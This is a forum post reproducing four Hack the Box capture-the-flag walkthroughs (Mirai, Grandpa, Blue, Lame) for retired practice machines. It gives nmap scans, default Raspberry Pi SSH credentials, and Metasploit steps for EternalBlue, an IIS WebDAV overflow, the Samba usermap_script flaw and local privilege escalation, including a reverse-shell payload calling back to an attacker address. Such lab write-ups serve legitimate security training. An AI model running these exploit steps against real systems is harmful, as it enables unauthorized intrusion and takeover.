Login

**NINZA** · 05-14-2020, 08:32 AM

0			0

Hello friends!! Today we are going to solve another CTF challenge “Mirai” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Mirai lab.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Let’s Breach!!!
Lab IP: 10.10.10.48
Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.
nmap -p- -A 10.10.10.48 --open
1
nmap -p- -A 10.10.10.48 --open
Awesome!! Nmap has done a remarkable job by dumping the details of services running on open port 22 53, 80, 1031, 32400, 32469.
[Image: 1.png?w=687&ssl=1]

Without wasting time I used the dirb tool of Kali to enumerate the directories and found some important directories such as /admin/
dirb

[To see content please register here]

1
dirb

[To see content please register here]

So next I decided to explore

[To see content please register here]

through browser URL. Here we have a Login Page, Lets Go through That.
[Image: 3.png?w=687&ssl=1]

When I link on login tab I saw following web page. The Pi-hole and the Logo gives us a pretty huge hint that the target machine is a Raspberry Pi, and Raspberry Pi comes with a default ssh
[Image: 4.png?w=687&ssl=1]

So we tried default ssh credentials on the Raspberry Pi.
Username: pi
Password: raspberry
1
2
Username: pi
Password: raspberry
Great!! Our prediction works successfully and we got PTs shell of the victim’s machine.
[Image: 5.png?w=687&ssl=1]

Now Let’s Look for the User Flag
cd Desktop
ls
1
2
cd Desktop
ls
Here I found a user.txt file and used cat “filename” command for reading this file. cat user.txt
Great!! We got our 1st flag
[Image: 6.1.png?w=687&ssl=1]

And After Browsing we got the flag user.txt on the Location: ~/Desktop/user.txt
by executing sudo -l command it tells us that user pi has full privileged in this machine.
sudo -l
1
sudo -l
[Image: 6.png?w=687&ssl=1]

Then I moved for root access using the previous same password and again I get root access successfully.
sudo bash
1
sudo bash
After going through the root directory we get a root.txt But we get a Hint that our Root Flag is on a USB stick.
[Image: 7.png?w=687&ssl=1]

Let’s check if it is mounted by following command df
df (abbreviation for disk free) is a standard Unix command used to display the amount of available disk space for file systems on which the invoking user has appropriate read access. As you can see in the below screenshot that we have the USB stick on the Device. (From Wikipedia)
From given below image we can /media/usbstick.
Then execute given below command for further steps
cd /media/usbstick
ls -al
1
2
cd /media/usbstick
ls -al
Here we found a text file damnit.txt, using cat command we can read this file.
cat damnit.txt
1
cat damnit.txt
Oops!! James has accidentally deleted the root.txt file. Now let’s try to find it somewhere with a little hope.
[Image: 8.png?w=687&ssl=1]

Move back to root directory and type following command which will scan /dev/sdb file system completely and hopefully, it can find deleted root.txt file also.
[Image: 9.png?w=687&ssl=1]

Great!! We got our 2nd flag successfully Enjoy Hacking!!
[Image: 10.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Grandpa Lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of Grandpa is 10.10.10.14 so let’s begin with nmap port enumeration.
nmap -p- -sV 10.10.10.14
1
nmap -p- -sV 10.10.10.14
From nmap result I found the following information.
Open port: 80 for HTTP
Service version: Microsoft IIS httpd 6.0
OS: Windows machine.
[Image: 1.png?w=687&ssl=1]

Then I used searchsploit for iis 6.0 and found a Remote Buffer overflow vulnerability in Microsoft IIS httpd 6.0, you can check this exploit in google also.
[Image: 2.png?w=687&ssl=1]

Then I run the msfconsole command in the terminal and load Metasploit framework for using Microsoft IIS WebDAV ScStoragePathFromUrl Overflow module for exploiting target machine.
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set rhost 10.10.10.14
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set payload windows/meterpreter/reverse_tcp
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lhost 10.10.14.3
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lport 4444
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) run
1
2
3
4
5
6
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set rhost 10.10.10.14
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set payload windows/meterpreter/reverse_tcp
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lhost 10.10.14.3
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lport 4444
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) run
Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
Then I run command getuid for identifying user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.
For that background your current meterpreter shell and go for post exploitation.
[Image: u.png?w=687&ssl=1]

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > run
1
2
3
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > run
Wonderful!! Exploit Suggester truly proof itself by suggesting another exploit name to which target is vulnerable. So now we will go with the last option as highlighted in the image.
[Image: 5.png?w=687&ssl=1]

At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.
use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.3
msf exploit(windows/local/ppr_flatten_rec) > set lport 4455
msf exploit(windows/local/ppr_flatten_rec) > run
1
2
3
4
use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.3
msf exploit(windows/local/ppr_flatten_rec) > set lport 4455
msf exploit(windows/local/ppr_flatten_rec) > run
Nice!! It works and we got meterpreter session 2 as system user and you can check in below image.
meterpreter > getuid
1
meterpreter > getuid
[Image: 6.png?w=687&ssl=1]

Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.
meterpreter > shell
1
meterpreter > shell
Inside C:\Document and Setting\Harry\Desktop I found the user.txt file and used the type “filename” command for reading this file.
type user.txt
1
type user.txt
Great!! We got our 1st flag successfully
[Image: 7.png?w=687&ssl=1]

Inside C:\Document and Setting\Administrtator\Desktop I found the root.txt file and used the type “filename” command for reading this file.
type root.txt
1
type root.txt
Great!! We got our 2nd flag successfully
Breaching this lab was an interesting and enjoyable moment for me. It will take less time if you are aware of proper Metasploit exploits. Therefore I will give all Glory to Metasploit for making this challenge easy for me.
Happy Hacking!!
[Image: 8.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Blue” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Blue lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of blue is 10.10.10.40 so let’s begin with nmap port enumeration.
nmap -p- -A 10.10.10.40 --open
1
nmap -p- -A 10.10.10.40 --open
From the given below image, you can observe that we found so many open ports and port 137, 139 and 445 denotes that it is a windows machine.
[Image: 1.png?w=687&ssl=1]

When I extract the complete result of nmap I found the following details

OS: Windows 7 professional
Computer name: haris-pc
NetBIOS computer name haris-pc
SMB version: 02

Great!! Form this result I can conclude username can be “haris” moreover smb 2.02 can be exploited by the eternal blue vulnerability.
[Image: 2.1.png?w=687&ssl=1]

Let confirm eternal blue vulnerability in the victim’s system using nmap script.
nmap --script vuln -p445 10.10.10.40
1
nmap --script vuln -p445 10.10.10.40
Awesome!! Victim’s machine is vulnerable to eternal blue exploit.
[Image: 2.png?w=687&ssl=1]

Then I run the msfconsole command in terminal and load Metasploit framework for using the eternal blue module for exploiting target machine.
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
msf exploit(windows/smb/ms17_010_eternalblue) >run
1
2
3
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
msf exploit(windows/smb/ms17_010_eternalblue) >run
Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
[Image: 3.png?w=687&ssl=1]

Inside c:\Users\haris \Desktop I found the user.txt file and used type “filename” command for reading this file.
cd Desktop
type user.txt
1
2
cd Desktop
type user.txt
Great!! We got our 1st flag successfully
[Image: 4.png?w=687&ssl=1]

Inside c:\Users\Administrator \Desktop I found a root.txt file and used type “filename” command for reading this file.
cd Desktop
type root.txt
1
2
cd Desktop
type root.txt
Great!! We got our 2nd flag successfully.
It was a very easy challenge for those candidates who have little to no knowledge of vulnerability analysis.
Happy Hacking!!
[Image: 5.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Lame” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Lame lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of Lame is 10.10.10.3 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.3
1
nmap -sV 10.10.10.3
From given below image, you can observe that we found so many open ports such as 21 for ftp, 22 for ssh, 139 and 445 for samba service and also got hit OS platform can be Unix or Linux.
[Image: 1.png?w=687&ssl=1]

From nmap result we saw samba service smbd 3.x is running in victim’s machine therefore next I search for any exploit related to this service in Google.
Gratefully Google gave me hint in their 2nd link of exploit DB.
[Image: 2.png?w=687&ssl=1]

Then I run the msfconsole command in terminal and load Metasploit framework for using Samba 3.0.20 < 3.0.25rc3 – ‘Username’ map script’ Command Execution module for exploiting target machine.
use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
msf exploit(multi/samba/usermap_script) > exploit
1
2
3
use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
msf exploit(multi/samba/usermap_script) > exploit
Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
I had updated command shell into the meterpreter shell by executing the following command.
sessions -u 1
1
sessions -u 1
[Image: 3.png?w=687&ssl=1]

Inside path: /home/makis I found the user.txt file and used cat “filename” command for reading this file.
cd /home
ls
cd makis
ls
cat user.txt
1
2
3
4
5
cd /home
ls
cd makis
ls
cat user.txt
Great!! We got our 1st flag successfully
[Image: 4.png?w=687&ssl=1]

Inside path: /root I found the root.txt file and used cat “filename” command for reading this file.
cd /root
ls
cat root.txt
1
2
3
cd /root
ls
cat root.txt
Great!! We got our 2nd flag successfully
It will be a very stress-free challenge for that candidate who has knowledge little know vulnerability analysis.
Happy Hacking!!
[Image: 5.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis